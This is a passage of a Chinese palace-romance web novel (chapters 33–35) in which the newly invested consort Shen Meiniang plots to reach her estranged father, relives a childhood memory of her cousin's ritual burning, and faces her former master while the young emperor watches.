沈美娘听到姜颂的话,脸上为了哄姜颂而挂上的笑颜逐渐褪去。 她眼中神色淡漠,神色愈加平静,道:“我当时是他的侍女,他把我送给别人,谁能指摘?” “他就是不对!”姜颂仍旧坚持。 沈美娘那时还是良籍,和沈府也没卖身契。 就算按这个时代的律法来说,沈温也没权力将沈美娘送给别人。 更何况—— 姜颂握住沈美娘的手:“我一想到,这五年里,他过着好日子,美娘你却在司马府吃尽了苦头……他就是不对。” 沈美娘看到姜颂眼里的戾气,才知道他这般好脾气的人,原来也会露出这样的神情——还是为了她。 姜颂固执道:“沈温和叶司马一样该死。” 姜颂还在生气,沈美娘却突然抱住他:“姜郎,你真好。” 姜颂有些没反应过来。 自从两人重逢以来,沈美娘都是唤他为“陛下”,这还是沈美娘第一次这般亲密地唤他。 沈美娘确实很喜欢姜颂。 他说的话虽然不着边际,也和这个时代格格不入,却总是能和她想到一块去。 沈美娘当然恨那个姓沈的,但她没想到,姜颂会是最先能理解她想法的人。 姜颂发觉沈美娘的肩膀微颤,以为她是哭了,有些手足无措:“美娘,你别哭……你看吧!我就说会惹你难过……” “没有!”沈美娘从姜颂怀里抬头,擦了擦眼角笑出来的眼泪。 姜颂这才知道沈美娘是在笑。 沈美娘整个人扑在姜颂身上,凑到他眼前,像是第一天认识他般观察他。 末了,她像只温顺的猫儿趴在姜颂胸口,道:“我没难过,我就是觉得姜郎真可爱。” 沈美娘的手故意挠了挠他的胸口,眼里带着一丝媚意,仰头看他:“姜郎这么好,又这般可爱,应该被好好奖赏才对。” 姜颂没懂她的意思,有些奇怪:“什么?” 沈美娘听到姜颂单纯的声音,已经放到他玉带钩上的手一顿。 她撑起身,盯着姜颂眼,慢悠悠道:“瞧我,又忘记陛下还没满十八岁了。” 姜颂这才明白沈美娘刚才是想要做什么。 他的脸陡然涨得通红,正想说“没关系”的时候,沈美娘已经从他身上翻身下去,在他身旁乖乖坐好。 她促狭地看了一眼姜颂:“这可是陛下自己说的‘没满十八,不能早恋’。妾身让陛下早恋已经很不应当了,要是再让陛下做别的错事,那可真是罪孽深重了。” 姜颂闻言,无比后悔当初的话。 都怪他以前不怎么出宫,不食人间烟火,忘了具体问题具体分析…… 姜颂正后悔的时候,沈美娘却“啪唧”一口亲在了他脸上。 她拽着姜颂的手,故意晃悠:“陛下,你快点满十八吧。” 姜颂脸更红了。 这、这种事又不是他能决定的- 姜颂生在仲春,百花开得最盛,乔木开始蓄力生长的时候。 但如今连元日都还差好几天,离他的生辰更是还有一个多月。 沈美娘先等来的也不是姜颂的十八岁生辰,而是她的册封礼。 她的册封礼是礼部侍郎主持的,她穿的是贵妃礼服,很华丽繁复,满头的花树装饰也很重,但太老气了,沈美娘不喜欢。 她熬过了无聊漫长的册封礼,立刻就换掉了那身衣裳,穿上她喜欢又符合她贵妃身份的打扮。 姜颂也知道今日是沈美娘的册封礼,下了朝就往她宫里赶。 沈美娘听到通报的声音,立刻就跑到姜颂面前,转了个圈:“陛下,你瞧,臣妾穿这身衣裳好不好看?” 姜颂看沈美娘穿了身鲜红的绸裙,还有满头金钗,又娉娉袅袅地转圈。 很容易俗气的红和金,在她身上却一点都不俗气,灵动又璀璨夺目。 他笑道:“好看,朕还以为是明岁的牡丹花开早了。” 沈美娘发觉姜颂这嘴也是越来越甜了,但她很是受用:“多谢陛下夸奖。” 既然姜颂夸她了,那她也夸回去好了:“还是多亏了陛下,封臣妾做贵妃,不然臣妾可穿不上这般好的衣裳。” 姜颂摇头:“这本就是朕该给你的。” 沈美娘得寸进尺:“那陛下怎的不封臣妾做皇后呢?” 当然是因为立后非同小可,姜颂也没想到沈美娘与他重逢后,还会选择他……他自然没有提前准备。 何况,立后需要的时间长得多,姜颂舍不得沈美娘无名无份陪在他身边,也怕她被其他人议论、看低,受旁人欺负。 他就想着先给沈美娘封个贵妃好了。 但姜颂觉得和沈美娘说这些很像在卖惨,他故意和沈美娘开玩笑:“不是你在殿上说,你要当贵妃的吗?” 沈美娘知道姜颂是在开玩笑,但还是陪他玩。 她道:“早知道,臣妾就说,臣妾要当皇后啦。” 沈美娘眨了眨眼:“反正陛下都会答应臣妾的,不是吗?” 第33章 第33章小狗就是会无条件相信主…… 沈美娘这话本就是为了逗姜颂随口说的。 谁知道姜颂听到这话,居然眉眼含情,认真回答:“只要你要,我就给。” 沈美娘听到这话第一反应是反驳——那她要是说自己想要姜颂的皇位,他给不给。 想来姜颂肯定是不愿意给的。 沈美娘有些兴致缺缺,但姜颂和别的喜欢给她画饼的男人比起来,好歹贵妃之位二话不说就给她了。 沈美娘揽住姜颂的脖子,回应他的情话:“陛下对臣妾真好,臣妾最喜欢陛下了。” 果然,姜颂听到沈美娘的话,拼命想压制嘴角的笑意也压不住。 沈美娘看到姜颂脸都要笑烂的样子,觉得他还是一如既往地藏不住心思。 但这样也颇为可爱了。 宫中暂无皇后,谢太后体弱多病,又一心修道,沈美娘册为贵妃后,后宫的大权就落到了沈美娘的手中。 她却没像旁人想的那般新官上任三把火,急着把六尚局的高层女官进行拉拢和更换。 她唯一做的事就是把宝儿塞进尚食局,让宝儿年后到那儿做个八品掌膳。 宝儿有些忐忑不安:“美娘,我大字不识几个,真的能做好吗?” 沈美娘正在听青词给她念明日元日,会按例前来拜见她的内外命妇名录。 她让青词停下动作,看 着宝儿道:“就是知道你大字不识几个,我才叫你去,反正你做饭的手艺也不错。” 再说,就算采办的大头被内侍省和殿中省拿去,但剩下的那些尚食局拿去的零零碎碎的油水,也够底下的女官们拿。 尚食局这种不容易犯大错,同时与各宫来往消息灵通,又有油水可捞的地方,让宝儿去历练正好。 宝儿被沈美娘安慰好,放下心来,却又疑惑:“那美娘你怎的不让我去尚宫局、尚仪局呢?或者给我个更高的官位呢?” 沈美娘拿起桌上的扇子,敲了敲宝儿的头:“自己想。” 这丫头每次遇事都问她,这可不是什么好习惯。 宝儿捂住头,认真想了许久,才小声道:“尚宫局主管文书处理,我没文化,去了肯定干不好活。尚仪局主管赞相礼仪,需要有学识、懂礼仪,还和外朝官员有机会接触,利益虽大但风险也大。” 宝儿:“至于官位……是不是因为司膳、典膳这种六、七品的女官位置,美娘你不好弄来啊。” 沈美娘点头:“大部分都说对了,但官位没说对。” “把你塞去做六品司膳不难,但那些七八品的女官会听你的吗?你能有自己的心腹和朋党吗?”沈美娘反问。 宝儿摇头。 沈美娘继续道:“七品的话,若是出了错,容易被你的八位六品上司推出来做替死鬼。” 尚食局是六尚局中不容易卷入祸端的局,但也不是没可能犯错,需要六七品女官出来顶罪的大错——肯定不是沈美娘能够轻易摆平的。 沈美娘揉揉宝儿刚才被她轻敲了一下的地方,嘱咐道:“你去尚食局先好好做事,多交朋友就好。我已经和裴尚食打过招呼了,你每日午时后再去尚食局,前面的半个白天你去习艺馆念书,明白了吗?” “等时机成熟,我会把你调进尚宫局。”沈美娘道。 尚宫局是六尚之首,掌宫官之印,沈美娘当然得让它被自己人抓在手心。 宝儿一口答应:“好!我一定不辜负美娘你的期望。” 沈美娘将宝儿揽进怀里,柔柔道:“也不要逼自己太紧,宝儿已经很厉害了。” 宝儿又问:“美娘,我去习艺馆念书,那你不去吗?” 沈美娘摇头:“习艺馆教得太慢了。” 宝儿不信,习艺馆的先生可都是很有学问的学士,教沈美娘启蒙肯定绰绰有余。 沈美娘看出宝儿的疑惑,道:“《千字文》我已经认完了。” 宝儿听到这里愣住。 她和沈美娘是前后脚让青词给她们开的蒙,到如今也不过一个月。 宝儿千字文还一半都记不住,沈美娘这就全记住呢? 她看向青词,只见青词默默点头:“娘娘字认全了,也能通背了。” 宝儿一直都知道沈美娘聪明,但那些歌舞、乐器,在她看来哪有读书高贵和困难? 宝儿这才明白沈美娘究竟有多聪慧。 沈美娘不仅聪慧,她还很刻苦。 姜颂越到年关越忙,终于等到元日可以借外臣朝见和晚上的宴会短暂休息了。 他在去含元殿接受百官朝拜和外臣觐见前,原本想先看看沈美娘。 他到关雎宫时,才刚卯时,结果他发现沈美娘端坐在书案前,显然已经看了很久书了。 姜颂知道沈美娘在识字开蒙,但他也没想到她会这般努力。 不是——这谁也想不到,会有人这般努力吧? 就算是他妈妈那个世界,听说也只有一种叫“高三生”的可怜人才会如此。 姜颂在殿外,又看了几眼沈美娘,小声嘱咐了几句韦阿宜好好照顾沈美娘后,心虚地离开。 美娘如此起早贪黑,闻鸡起舞,他当然不能让美娘知道,他其实……最讨厌读书了。 他从小在当皇帝这件事上就自认没什么天分,对书里那些阴谋算计、政治博弈一点都不感兴趣。 姜颂更喜欢诗词歌赋,但父皇一直觉得他是玩物丧志、不务正业,强迫他学帝王之道。 他这个人就是别人越逼他学,他就越学不进去,到后面他连诗词歌赋都不大喜欢了,把他父皇气得够呛。 姜颂绝不能让沈美娘发现他不爱读书。 姜颂走后,沈美娘也在继续看《启蒙要训》、《蒙求》等书。 等到天翻出一丝白亮,她才揉揉眼睛,放下书册,问守在殿外的韦阿宜:“刚才陛下是不是来过?” 韦阿宜这才知道沈美娘原来知道陛下来过,点头道:“是,陛下让奴婢们伺候好娘娘。” 沈美娘闻言也没多说什么。 她这个人很敏锐,她就说刚才看书的时候,感觉有人在看她。 姜颂也不知道从哪里学的,总是喜欢在背地里偷看。 之前在南州的叶丞相暂住的府邸是这样,前不久在苏尚仪府上是这样,现在还这样。 他这是什么奇怪癖/好,哪个皇帝像他这样的。 宝儿今天因为元日习艺馆不开,也没有早起去上学,她也好奇地问沈美娘:“美娘,你刚才怎么不和陛下说说话呢?” 沈美娘正在换今日接见命妇们要穿的礼服,闻言道:“有什么好说的?一日之计在于晨,这么宝贵的时间拿来浪费在和人闲聊上?” 宝儿“哦”了一声。 沈美娘在脑海里想象出姜颂趴着门鬼鬼祟祟偷看的样子,嘴角不免染上几分笑意,道:“宝儿,我告诉你,不管男人还是女人,都是在忙事业的时候最惹人喜欢。” 更何况从姜颂能接受她的野心来看,这小子就喜欢认真努力到有些执拗的人。 既然他喜欢,沈美娘不介意多展露一些他喜欢样子给他看。 在短暂地闲聊后,沈美娘就开始准备今日命妇们的拜见。 韦阿宜原本想放下珠帘,再搬来屏风,却被沈美娘制止:“放下珠帘就好,屏风就不必了。” 她想通过今日的拜见认识更多的命妇,也好多一些人脉。 还有…… 沈美娘的手拂过腰间的玉佩。 她上次已经让李姮看到这枚玉佩了,那人回家后定然会同家中长辈说起这事。 那么今日也该叫李姮的父母看到这枚玉佩了。 沈美娘还没等到她想见的那个人,却先见到了另一个有些好玩的姑娘。 最后一位进来的内命妇长宁郡主引起了沈美娘的好奇。 韦阿宜在沈美娘耳边低声道:“姜翩翩是蜀王独女,陛下为了牵制蜀王,刚登基就让蜀王送其女进宫为质。前年,陛下瞧她年岁渐长,怕惹闲话,就下令让她搬到宫外的郡主府居住。” 和前面都恪守规矩的公主、县主什么的不同,这位长宁郡主显然要活泼得多。 她给沈美娘恭敬地行完礼,沈美娘免了她礼后,她还又偷偷看了几眼沈美娘。 沈美娘见她如此,故意逗她:“不知长宁郡主在看什么?” 姜翩翩被沈美娘突然发问,有些意外,但并不慌张,笑道:“回娘娘,臣女就是听说贵妃娘娘美得像天仙下凡,想看看传闻中的天仙究竟有多美!” 沈美娘听到姜翩翩夸她的话轻笑。 有谁会不喜欢被别人夸赞呢? 沈美娘又道:“你就不怕本宫罚你?” “不怕!娘娘这么好看,肯定也是很温柔善良的,怎么会罚臣女呢?”姜翩翩摇头。 只有十岁出头的姑娘,说这种话,不让人觉得虚伪,只让人觉得很是可爱讨喜。 沈美娘笑着给了姜翩翩赏赐,又仔细看了她几眼,总 觉得这个姑娘让人有些熟悉。 对了,她觉得这孩子有些许像姜颂,但蜀王原本不姓姜,是立了军功,先帝赐的国姓——姜颂和姜翩翩这两人怎么会长得像呢? 沈美娘最后只能暂且把这一切归咎于巧合。 接见完外命妇,沈美娘见宝儿有些累了,又想到等会儿会见的人,就让她退下,唤了青词前来。 沈美娘握住青词的手,问:“你等会儿,可以吗?” 看到青词点头,沈美娘才放心下来。 三品以上的外命妇比内命妇少许多,沈美娘很快就等到了她想见的人。 她看到端庄温婉的女人走到珠帘前,规矩行礼:“臣妇韩国夫人谢氏拜见贵妃娘娘,娘娘长安。” 沈美娘免了她的礼,手故意碰到腰间的配饰,玉佩碰撞,发出“叮咚”响声。 谢明安的目光不由被声音吸引,看到了沈美娘腰间的玉佩。 她神情满是诧异,怔愣在原地。 女儿李姮上次从苏尚仪府上回来,就找谢明安,说要看她和父亲的定情信物。 谢明安给女儿看了那块玉佩,她居然说什么在陛下带回来的沈娘子身上,看到了一块一模一样的玉佩。 谢明安原本完全没相信女儿的话,可直到此刻她看到沈美娘身上的玉佩,才发现这块玉佩真的和她的玉佩极为相似。 沈美娘看到谢明安眼中失神,脸上笑意更深,柔声问:“韩国夫人这是怎么呢?” 谢明安这才回过神来,她连忙道:“臣妇第一次见到娘娘,觉得娘娘很是亲切。” 沈美娘轻笑:“韩国夫人比本宫阅历丰富许多,说不定是曾见过与臣妾相像之人。” 谢明安听到沈美娘这话,仔细回想,她竟觉得这人和她夫君李守义生得确实相似。 谢明安试探问:“不知娘娘是何处人?” 沈美娘笑道:“本宫祖籍益州,生于绵州,在绵州也生活了十余年。” 谢明安听到这话心中咯噔一下——她的夫君李守义年少时沉迷求仙问卜之术,曾在蜀中旅居过一段日子。 这位贵妃娘娘又拿了一枚,与她夫君给她的定情信物一模一样的玉佩,那会不会…… “夫人、夫人?” 沈美娘唤了好几声,谢明安才回过神来。 谢明安连忙道:“请娘娘恕罪。” 沈美娘笑了笑,也没责备谢明安,只道:“想必夫人是累了,既如此,便先退下吧。” 沈美娘打发走了谢明安,站起身,盯着她离去的背影,眼中情绪晦涩。 她握住青词攥紧的手,道:“不用担心,鱼儿咬钩了。” 谢明安一定会告诉李守义她的见闻。 礼部尚书、五姓七望又如何? 沈美娘垂眸,眼中闪过一丝狠厉之色,还有癫狂的喜悦在眼神中跳动——那是猛兽窥伺志在必得又略有挑战性猎物的眼神。 “美娘!” 就在沈美娘出神的时候,带着焦急和担心意味的声音打断她。 姜颂撩起珠帘进来,拉住她的手,问:“美娘,韩国夫人没为难你吧?” 沈美娘摇头:“陛下说什么呢?臣妾是您的贵妃,她们怎么敢为难臣妾?” 沈美娘不知今日所见的内外命妇心里怎么想的、私下又是如何说她的,但明面上没一个敢不讨好着她的。 她可是姜颂登基后册封的第一个妃子,还是贵妃,就算她从前出身再不堪,那些人也绝不敢来找死。 姜颂闻言才松了口气:“没人欺负你就好。” 他刚才听到沈美娘和韩国夫人多说了会儿话,还担心是谢党人明面上不敢为难他册封沈美娘的事,私底下却让妻子来给美娘添堵了。 姜颂道:“外头还没见过的几位命妇便罢了,我叫人给些赏赐就是。” 沈美娘点头。 今日她了解、认识上京贵妇圈和让谢明安看到她腰间玉佩的目的已经达到,也没必要再继续了。 沈美娘瞧姜颂处处为她着想,柔声问:“陛下就这般相信是别人欺负我,说不定是我欺负人家韩国夫人呢?” 姜颂毫不犹豫道:“美娘,我知道你不是主动欺负人的性格,况且……” 他顿了一下,道:“你别看那些高门显贵口口声声仁义道德,其实他们才是最吃人不吐骨头的。” 这话沈美娘当然信,她从小在农家长大,长大了又为奴为婢。 她比谁都知道所谓名门望族的门楣下,埋着多少人的森森白骨。 沈美娘笑得愈加娇媚,问:“那要是,万一,如果臣妾真的杀过人,犯过很大很大的错呢?” 果然,她说完这句话,姜颂就沉默了。 沈美娘敛眸,意识到她说了多愚蠢的话,正想用玩笑话将刚才的询问掩饰过去,就听到姜颂道:“美娘,你不会的。” 姜颂认真道:“你不是说过吗?你还不想蹲大狱。” 姜颂比谁都知道沈美娘从不会无缘无故杀人,而她想杀之人,无不是恶贯满盈,却又在这个时代为律法纵容的人。 沈美娘总是指尖泛凉的手,被姜颂双手合十裹住,他笑道:“如果你真的杀人,我想,那一定是正当防卫!” “‘正当防卫’的意思就是——是这个时代有失偏颇,不是你的错。” 沈美娘的指尖被姜颂掌心的温暖包裹。 她沉默不语。 姜颂总是这样,义无反顾又坚定不移地站在她这边。 让沈美娘以为,她也能试着相信旁人。 沈美娘喃喃:“十二岁那年,我要是就遇到你该多好……” 姜颂没听清沈美娘的话,追问:“什么?” 第34章 第34章传奇偷听王 沈美娘很少和人说起过去,尤其是说起十二岁那年发生的事。 她难得袒露出几分真情,道:“臣妾就是觉得如果能早点遇到陛下就好了,陛下一定会保护臣妾的。” 姜颂道:“那当然!” 如果他先遇到沈美娘,他会让沈美娘从小就读书,她喜欢跳舞,也可以从小学舞。 但她不用做自己不喜欢做的事,比如讨好别人,比如卑躬屈膝。 沈美娘喜欢不喜欢他都无所谓,只要她开心就好……如果沈美娘若是还愿意喜欢他的话,他就会更开心。 沈美娘靠在姜颂肩头,长长的眼睫垂下,投下的阴影遮住她眼中的情绪,整个人有着难得的放松。 姜颂想问她刚才为何特地要说是“十二岁”,却先听到沈美娘道:“陛下,臣妾好累,想枕着您睡会儿。” 姜颂把原本想问的话咽回去,又道:“我抱你去床上睡吧……你总是侧躺着睡,对身体不好的。” 沈美娘点了点头,被姜颂打横抱起。 姜颂把沈美娘放到床上,想替她掖被角,反被她拉住手,一把拽进她怀中。 沈美娘闭上眼,像是很疲倦的样子:“陛下,陪臣妾一起睡会儿嘛。” 姜颂听到这话,想了想,就听话地缩进沈美娘的被窝里。 他红着脸,整个人被沈美娘身上的香气包裹,一点也睡不着。 他就这样默默瞧着沈美娘。 他只能听到她逐渐平缓的呼吸声,还有自己怦怦跳的心跳声。 不同于姜颂的手足无措和睡意全无,沈美娘很快就沉入梦乡。 她好像闻到了熟悉的山茶味,还有开春后阿娘在厨房翻炒茶叶的味道。 还扎着又短又小的辫子、穿着藏蓝粗布衣裳的沈美娘,把新茶揣进怀里。 她正想如往常般,从山上跑到山下,从寨子外跑进寨子里,直到跑到堂姐丽娘的窗前,把新炒的茶叶递给她。 沈美娘就被阿娘喊住了:“你以后不准去找堂姐了。” 小小的沈美娘不解:“为什么呢?” 堂姐是除了乞丐、摸包儿和小仵作外,唯一愿意和沈美娘玩的人了。 阿娘点了点她的额头:“丽娘已经被定为下一任月神的新娘了。” “月神?”沈美娘很是惊喜道。 她知道月神是庇佑他们全族人的神灵,仙师说他无所不能、有求必应。 沈美娘问:“那能不能让丽娘和月神说说好话,同意咱们搬回寨子里住啊?” 阿娘摇头:“做了新娘,就不能说话了。” “那可以笑吗?” “自然也不可以。” “哭呢?” “也不行。” 沈美娘不高兴,觉得阿娘在骗小孩:“那不就是死了吗?还算什么新娘子。” 她见过新娘子的,新娘子都会穿干净又好看的嫁衣,都会笑得很开心。 阿娘的话,说的根本就是死人! “别胡说!”阿娘蹲下身,捂住她的嘴。 阿娘的目光落在沈美娘左手多出来的 那一指,威胁她:“美娘,阿娘当年生下你,已经犯了大错,你一定不能再犯任何错!明白了吗?” 沈美娘和她从小最佩服的母亲对视,最后还是用力挣脱了她的怀抱:“我不明白!” “他们就是在杀人!” “我要去救丽娘!” 沈美娘感觉说完这句话后,梦中的她整个人好像就飞奔起来。 十二岁那年的夜晚好像总是过于漫长,从家到寨子的路也格外的远,沈美娘最后只赶上了一片火海。 火像是从地下烧起来的一样,被它包裹住的人面容美丽,还看着她在轻笑——沈美娘认出了那是丽娘姐姐。 还有很多人围着肆虐的火,不知道是谁在哭,也有人在笑,仙师神情严肃地念着奇怪的祷词。 沈美娘看见野火肆虐,像是要将整片山都烧干净。 “不要!” 沈美娘猛地睁眼。 她全身阵阵冒着冷汗,下意识看向她的左手。 如今她的左手和其他人一样,都只有五根手指头,只是在小指的下方有处肉疤,但平常她都擦了脂粉遮掩,很难被发现。 用了好一会儿,沈美娘才从梦中彻底清醒过来。 沈美娘注意到枕边的姜颂已经不见了。 她捂住胸口,面色有些苍白。 即使已经过了这么久,十二岁那年的事,依旧让沈美娘想起来就会被梦魇缠绕。 “美娘,你怎么呢?”姜颂上前,握住沈美娘的手。 他刚才先醒了,听到太监说已经酉时了。他就想着先起床更衣,等会儿再喊沈美娘,让她多歇息会儿。 他这才离开一刻钟,沈美娘怎么突然看起来就变得如此虚弱呢? 沈美娘被姜颂握住手,整个人平静许多。 她调整好情绪,看着姜颂轻笑:“妾身无事,就是想到了一点过去的事。” 她顺势偎依进姜颂怀里,道:“但看到陛下出现,臣妾就是再大的毛病,也都好了。” “陛下是真龙天子,有陛下在身旁,什么妖魔鬼怪都伤害不了臣妾。”沈美娘夸赞道。 姜颂看出沈美娘这是在哄她,但他明白沈美娘这般虚弱,却还是不愿意说出梦中所闻。 看来沈美娘应当不大愿意说,那他还是不问好了。 这是沈美娘的隐私,他得尊重她。 如果沈美娘真的想说,以她的性子,肯定会和他交代清楚的。 姜颂垂眸,安抚她:“好,那我以后一定多陪陪你。” 沈美娘愣了一下,才用力点头:“嗯!” 还好这小皇帝没有继续问。 现在还不是说旧事的好时机,他要是真问了,沈美娘还真不知道该怎么说。 姜颂看沈美娘额头还有虚汗,让她今晚不如称病不去宴会了,但沈美娘却还是坚持一定要去。 本来她就只能和那些贵妇们一个殿,是她缠着姜颂,才让他松口答应带她同去见前朝的大臣。 她当然不能放弃这个机会。 沈美娘看到姜颂眼里的不赞许和担忧,拉住他宽大的袖子,晃了晃:“陛下,陛下,臣妾想去嘛。这还是臣妾第一次作为贵人,不是贱婢去这样的场合……” 沈美娘的话没说完,姜颂就点头:“好,依你。” 沈美娘就知道这小皇帝心软,说两句软话,再卖个可怜,他就全都同意了。 她确实很重视今晚的宴会。 和姜颂说的是一层原因,更重要的是,沈美娘今晚还等着见礼部尚书李守义。 她真的很想这位李大人见上一面。 沈美娘换好衣裳,整理好了腰间的玉佩,抱住姜颂的手,往殿中赶去。 两人腻歪得很,直到进殿都没分开。 沈美娘故意在他耳边低声道:“陛下也不怕朝臣议论?” 姜颂已经在沈美娘时不时的撩拨之下,变得沉稳许多:“朕喜欢你,谁敢议论?” 沈美娘听到姜颂的话,差点没憋住笑。 这个人也就在这种时候,才有点君王说一不二的风度。 姜颂不知道沈美娘的所思所想,他的想法却很简单—— 在他朴素的认知里,喜欢一个人就是要给她最好的待遇,就是要叫所有人都知道两人相爱。 什么“爱她就冷落她”的戏码,别说姜颂,就算是他父皇都觉得荒谬至极。 姜颂让沈美娘与他同席,沈美娘像是有些没想到姜颂会这般安排,迟疑了片刻。 但她很快反应过来,立刻坐到姜颂身边,捏了捏他的手,道:“陛下,待臣妾真好。” 姜颂也分不清沈美娘这话究竟是在逗他,还是真的在夸他,只能点头微笑。 沈美娘看他这么可爱,又顺手捏了两下。 姜颂被她这么一捏,耳尖又变得绯红。 沈美娘仔细瞧了他一会儿,又道:“陛下,还是好容易害羞啊。” 闻言,姜颂的耳尖愈加红了。 沈美娘看他这样,忍不住坏笑,又在姜颂看过来时压了下去。 她无辜地眨了眨眼:“陛下,看臣妾做什么?” 姜颂知道沈美娘是故意使坏,但又拿不到她把柄,生气地移开目光。 这次换他主动捏了沈美娘的手几下。 他这次主动,却让他发现沈美娘的手软软的,又因常年保养,很是细腻——就像是一块暖玉般。 难怪沈美娘喜欢捏他的手。 这确实……有点好捏。 在沈美娘逗姜颂的时候,大部分臣子都不敢多看。 就算陛下把贵妃娘娘带到前朝来,还不设帘幕,也不是他们这些外男能多看的。 除了有两人。 沈温盯着沈美娘和姜颂的相处,总是带着温和笑意的眼中,闪过一丝妒忌。 他捏紧手中的杯盏,却迟迟没有饮杯中的酒。 郑尚书察觉到沈温的不对,以为他也是觉得陛下被这位沈贵妃迷了心窍。 他道:“这位沈贵妃容貌出众,难怪陛下竟会偏爱她至此。听说,此人虽是叶丞相献给陛下,但曾是沈贤弟的侍女,沈贤弟缘何上次说不认识?” 沈温听到郑尚书的话,回过神来,轻笑:“一个无关紧要的侍女罢了,早年间随手给了叶随,哪里记得?也不知道她从哪里来的门路,又攀上了叶丞相。” 郑尚书点头:“无关紧要?沈贤弟这话就说错了,自古奇货可居。这沈娘子这般美,当年怕就是个美人胚子。你若是把她带到京城,你那时行卷怕是方便得多。” 他眼中闪过淫邪之色:“怕是京城多的是大人,愿意看贤弟的拜谒之作了。” 沈温听到郑尚书的笑,眼神闪过寒意,却还是笑着附和:“郑兄说的有理,确实可惜了。” 他还注意到了,另一人也在看沈美娘——李守义竟也在看沈美娘。 坐在上首的沈美娘似乎和姜颂低声说了什么,就匆匆起身离开。 就在她离席后不久,李守义跟了出去。 沈温思考片刻,便借口饮多了酒,头昏脑涨也跟了出去。 沈美娘不知道身后除了她有心要钓的李守义,还有沈温也在,走到殿外少人处就停下了脚步。 她腰间玉佩相碰的“叮咚”声终于停下。 沈美娘回过身,看向身后的李守义,诧异道:“李大人怎的也在?” 李守义规矩行礼:“臣不胜酒力,出来醒醒酒。” 语罢,他又盯着沈美娘腰间的玉佩看了好一会儿,才将目光转移到她的脸上。 沈美娘故作不知:“李大人这是做什么?难不成,你喜欢本宫的这块玉佩?” “娘娘说笑了,这是您的东西,臣不敢。”李守义道,“只是贱内说,在您身上瞧到了块玉佩,和臣当年给她的定情信物很像。” 沈美娘笑意更深:“那敢问李尚书,不知两块玉佩到底像不像?” 李守 义摇头:“娘娘的东西自然是顶好的,臣的东西如何能比?” 沈美娘“噗嗤”一声笑出声,女人突兀的笑声在空旷的夜里显得格外瘆人。 李守义并没有被吓到,还是一副守礼的模样,行礼告辞。 “等等——”沈美娘叫住想要离开的男人,“听闻李尚书年轻时,曾沉迷道家那些东西,不问仕途,旅居蜀中。” 李守义转身回话:“臣当时年少荒唐,确实蹉跎了不少光阴。” 沈美娘突然发问:“你去过蜀中,那不知你可知道绵州有位姓陈的娘子?” 李守义依旧毫无波澜:“不曾。” “那就好。”沈美娘扯了个笑,“那是个很不守妇道、不要脸的淫/妇,与人无媒苟合,还生下了孩子。” “幸好老天开眼,在这妇人生子时,烧了场野火,把那陈家给烧了个干干净净,一个活口不留。” 沈美娘突然停下,呸了两声,道:“瞧我,今日这般好的日子,竟提起这种晦气事。” 沈美娘盯着李守义,依然笑得灿烂:“李尚书不认识就好。” 等李守义行礼告退,身影消失在沈美娘视野后,她才收敛笑意,目光沉沉,像是心事重重的样子。 “美娘,这就是你来上京的缘故吗?”突然出现的男声打断沈美娘的沉思。 要不是她知道姜颂声音不是这样,她还差点以为是他。 她抬眼就看到从不远处阴影中走出来的沈温。 他想必是把刚才她与李守义的话听全了。 沈温看着沈美娘,目光复杂:“美娘,其实你就是那李守义与陈娘子生的女儿,对吗?” 沈美娘确实是想引导李守义往这上面想,但……她要骗的只有李守义,原本不包括沈温。 她也不想把这件事闹得大。 沈美娘还没想好该怎么说,沈温先道:“你不说我也知道。” 沈温眼里的愧疚愈加明显:“美娘,你进京就是为了认父,是迫不得已才攀附叶丞相和陛下的,对吗?” 如果是这样,那他本来自己就能给沈美娘这一切的。 却因他总是瞻前顾后,总想等局势再明朗些后,再接沈美娘到上京来……却不曾想,让她如今成了陛下的妃子。 沈美娘听到沈温说完他的猜测——几乎可以说是全猜错了。 但沈美娘从他眼里看出了几分真情。 她一直都知道男人的真情,是她往上爬最好的垫脚石。 沈美娘知道吏部侍郎是个很大的官,也有利用价值,那她就没必要现在就和沈温撕破脸。 思及此,沈美娘扯了个冷笑,装出一副不甘埋怨、因爱生恨的样子。 她挑了挑眉:“沈大人,你这是在说什么?本宫可听不懂。” “当年你可以为了科举,将我献给别的男人。只准你献美找出路,就不许我给自己找个好靠山吗?这也实在太不公平了。”沈美娘咄咄逼人。 可她越是这般咄咄逼人,就越显得她像是放不下沈温。 沈温见沈美娘反应如此剧烈,心中隐秘的希冀不由作祟——或许,美娘这些年,当真也放不下他。 “美娘,当年的事,我实在是不得已。”沈温不能据实相告,只能道,“你只要知道我不会害你就是了。” 沈温道:“上京不是你想的那般简单。” 沈美娘反问:“那你又是如何在这里立足的呢?” 沈美娘说了她和沈温讲了这么久话里唯一一句真心话:“你不就是把你的文才卖给皇帝,换你的官位吗?” “那我就是把我的姿色卖给皇帝,咱俩谁都不比谁高贵。”沈美娘轻蔑地笑,“你是如何在上京立足的,我也可以!我还会比你做得更好!” 沈美娘一直觉得沈温把他送给叶司马,简直就是个差的不能再差的一步棋。 从前沈美娘没有自己执棋的机会,如今她有了,她就要给沈温证明,他这个人一点谋算都没有。 沈美娘说完该说的话,与愣在原地的沈温擦肩而过,却看到了远处的姜颂。 可能是姜颂对她这些日子娇纵过头的缘故,沈美娘第一反应就是—— 他怎么又在偷听? 他这个臭毛病从哪里来的? 第二反应才是——她和沈温应该不会被定罪成祸乱宫闱吧。 她不想被诛九族啊! 第35章 第35章我只会心疼姐姐。 沈美娘从看到姜颂的身影,就思考该如何解释她和沈温的关系。 她刚才出来的时候用的借口是她喝酒了头昏,还被姜颂笑话她又被“打脸”了——沈美娘之前喝杨梅酒时说过自己酒量好。 但姜颂的酒杯里是茶,他总不可能喝茶喝得头昏吧? 沈美娘也想不到他会放下满朝文武跟出来。 沈美娘边嫌弃姜颂跟狗狗一样黏人,边想该怎么哄姜颂。 没成想,她还没想出对策,姜颂就主动向她走了过来。 姜颂将手里拿着的大氅披到她身上,温柔道:“你出来这么久,朕担心你受寒。” 他瞥了眼跪下行礼的沈温,话里有话,道:“上京的冬天很冷,但是再冷都没关系,朕会陪着你。” 完了。 沈美娘知道小皇帝听到了她对沈温装作因爱生恨的话了,说不定还误会她喜欢沈温了。 姜颂将沈美娘揽入怀中,却没如她所想那般生气。 他居然就这样抱着沈美娘进殿,直到回到殿中,沈美娘发觉姜颂真没动怒的痕迹。 甚至可能是因为在苏尚仪府上那次,沈美娘说过姜颂把她手弄疼了。 姜颂这次都没拽她手,换成把她揽在怀中。 沈美娘没有主动问姜颂,宴会剩下的时间里,她都在默默吃东西。 既然姜颂没主动说,那就是还不是很生气,等人少了她慢慢哄就是了。 